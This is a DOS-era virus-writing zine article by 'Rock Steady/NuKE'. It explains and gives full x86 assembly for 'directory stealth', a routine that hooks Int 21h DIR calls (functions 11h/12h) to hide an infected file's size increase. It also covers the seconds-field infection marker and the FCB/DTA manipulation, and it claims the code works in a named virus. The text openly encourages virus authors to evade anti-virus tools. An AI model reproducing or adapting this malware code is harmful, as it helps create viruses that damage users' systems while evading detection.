***************************** ** Directory Stealth ** ** ** ** By Rock Steady/NuKE ** ***************************** Stealth Viruses are the Viruses that I must admit Anti-Viral Queers Don't tend to like at all. Emagine if we added a Polymorphic feature into the Stealth Virus? But, if you want to Continue Writing Viruses you have to make them Stealth. MS-DOS Version 6.0 Now comes with Virus Scanners and CRC & Checksum Checkers. In order to stop many viruses, But it will NEVER stop the `Stealth' Virus that is SMART of those AV features! People think that there is ALOT of more INFECTED PCs since the virus threat, started in 1986-7. Even though in the beginning only 10 or so viruses were known, they Infected more systems, Compared to the viruses today, where we have about 1300 and growing. But the truth is LESS PCs are getting infect now, as people are now Virus Aware. With all the utilities out, any joker can stop and clean a virus in seconds. Come on, how many people MEMORIZED COMMAND.COM size? Out of my head its 47845 (MS-Dos V5.0). A simple increase of size tells me I got a problem. A simple Stealth Feature every virus MUST have is the DOS `Dir' Stealth feature. That will NOT show you the INCREASE of file size, when the virus infects it. I have played with a few routines as such. I have tried reducing the File size in the FAT area, which results in the famous CHKDSK error reports of Loss Sectors, or Cross Links... And fixing them with CHKDSK will result in damaging the file for good. What can we do? How about reducing the File size Right AFTER its read by DOS or any Utilities and right BEFORE its display on the screen! Yeah that's an Idea, Here's how to go about it... %Theory% ~~~~~~~~ First we must HOOK Int 21h, as every time a `DIR' is done, Int 21h function 11h & 12h is called! If you don't know how to Hook Interrupts Read RESIDENT VIRIIs Article in this NewsLetter. Int21_Handler: cmp ah,11h ;Is a DOS `Dir' being done? je dir_stealth ;Yes, Jump to `DIR_STEALTH' cmp ah,12h ;Is a DOR `Dir' Being done? je dir_stealth ;Yes, Jump to `DIR_STEALTH' Int21Call: jmp dword ptr cs:[Int21] ;Or Else Goto ORIGINAL Int 21h ret ;Is need for the CALL of below That's all that is needed in your Int21_Handler. Ofcourse if you are infecting file that are being Execute you add it ABOVE! Anyhow lets Explain the `DIR_STEALTH' Offset Size Description ÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄ[Normal FCB]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 00h ³ 1 ³ Drive Number 00=current drive 01=A,02=B,03=C etc.. 01h ³ 8 ³ Filename. Unused Spaces padded with Blanks 09h ³ 3 ³ Extension of Filename. 0Ch ³ 2 ³ Current block. points to block of records 0Eh ³ 2 ³ Record Size. 10h ³ 4 ³ FileSize in Bytes. (Low-order first, then high-order) 14h ³ 2 ³ Date of Last Write. YY-MM-DD into bits YYYY-YYYM-MMMD-DDDD 16h ³ 2 ³ Time of Last Write. HH:MM:SS into bits HHHH-HMMM-MMMS-SSSS 18h ³ 4 ³ Reserved *1Ch ³ 4 ³ SAME `10h' but THIS FILESIZE gets printed on Screen! 20h ³ 1 ³ Offset of current record 21h ³ 4 ³ Relative Record * = Field Changed by virus. Extended FCB: Are Identical to the Normal FCB but, it has three new ~~~~~~~~~~~~ fields totalling 7 bytes. (That is why we add y to BX) The additional 7 bytes are added to the BEGINNING! Offset Size Description ÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄ[Extended FCB]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -07h ³ 1 ³ ALWAYS FFh tells use this is an Extended FCB -06h ³ 5 ³ Reserved for DOS -01h ³ 1 ³ Attribute Byte So if we have an Extended FCB the first Byte will be FFh simply INC it and if its ZERO you got a Extended FCB! You can also CMP ES:[BX],FFh but that takes too many Bytes! Be COMPACT!!! %Algorithms% ~~~~~~~~~~~~ CONDISTION: After calling Function 11h/12h (Int 21h) it will search with the contents in the FCB. (*.*) which the DS:DX registers point to the FCB. If successful it will DUPLICATE the specified of the FCB in the current DTA (Disk Transfer Area) And basically we will EDIT the info in the DTA! NOTE: Just because we are using the DTA doesn't mean this will work for function 4Eh/4Fh (Int 21h) that uses the DTA and ASCIIZ strings to search, that is a different procedure, though somewhat the same as this one. See Method #2, for that. Step 1. We call the Int 21h so we may have the results to play with BEFORE DOS displays them on screen. Step 2. Get the Current PSP, As the FCB is located inside the PSP in COM files its CS:0000 - CS:00FF. But in EXEs it can be any- where, Int21h/AH=51 (Undocemented) will do this for us. Step 3. Unmask the seconds (see if its infected) Quit if NOT Step 4. Get the current DTA Step 5. Test if it is Either an Extended FCB or Normal! If Extended Simple add 7h to the Address. (As Extended only have 7 bytes extra in the begining) Step 6. Minus File size from the DTA! & Restore Time Back ; Here it is... Method #1 dir_stealth: pushf ;Fake an INT Call push cs ;Needed to return back HERE! (Virus) call Int21Call ;Call the interrupt (See `Int21_Handler') test al,al ;AL=00h if successful jnz no_good ;Not Successful. Errors Eg:No More Files push ax push bx ;Save them since they will be used! So when push es ;We exit all is restored to as Before! mov ah,51h ;(Undocmented) Gets the Current PSP and puts int 21h ;it into BX mov es,bx ;ES now has PSP segment Address cmp bx,es:[16h] ;Did we open a Good PSP? jnz exit_man ;No, PSP unavailable, Exit Dude mov bx,dx ;BX now points to the Original FCB in PSP mov al,[bx] ;AL now has the current drive push ax ;Save it to tell if its an Extended FCB mov ah,2fh ;Get DTA (Disk Transfer Address) int 21h ;Also before we start fiddling around we must know if we are working with ;And EXTENDED FCB or the Normal FCB, or else Major Problems! The Extended ;Has three fields appended to the normal one... (Above) pop ax ; AL = FFh if Extended FCB or else Drive # inc al ; Will tell us if we have an Extended FCB jnz fcb_ok ; No, We don't continue as normal add bx,7h ; Yes, we do, add 7h to BX pointer fcb_ok: mov ax,es:[bx+17h] ;Gets Seconds Field and ax,1fh ;Unmask to have SECONDS only xor al,1dh ;is it 58 seconds? (1d * 2) jnz not_infected ;Nope, okay its not infected and byte ptr es:[bx+17h],0e0h ;Restores seconds sub es:[bx+1dh],virus_size ;Subtract FileSize with Virii sbb es:[bx+1fh],ax ;Needed to fix up Bytes with not_infected: ;Borrowing pop es ;Ciao, Ciao pop bx pop ax no_good:iret ;Pretend you came back from an Interrupt call! ;----------------------------The EnD------------------------------------- Rock Steady / NuKE `Feed my Frankenstein', Alice Cooper NOTE: This Code Works, Look at NuKE PoX V1.1 to see it...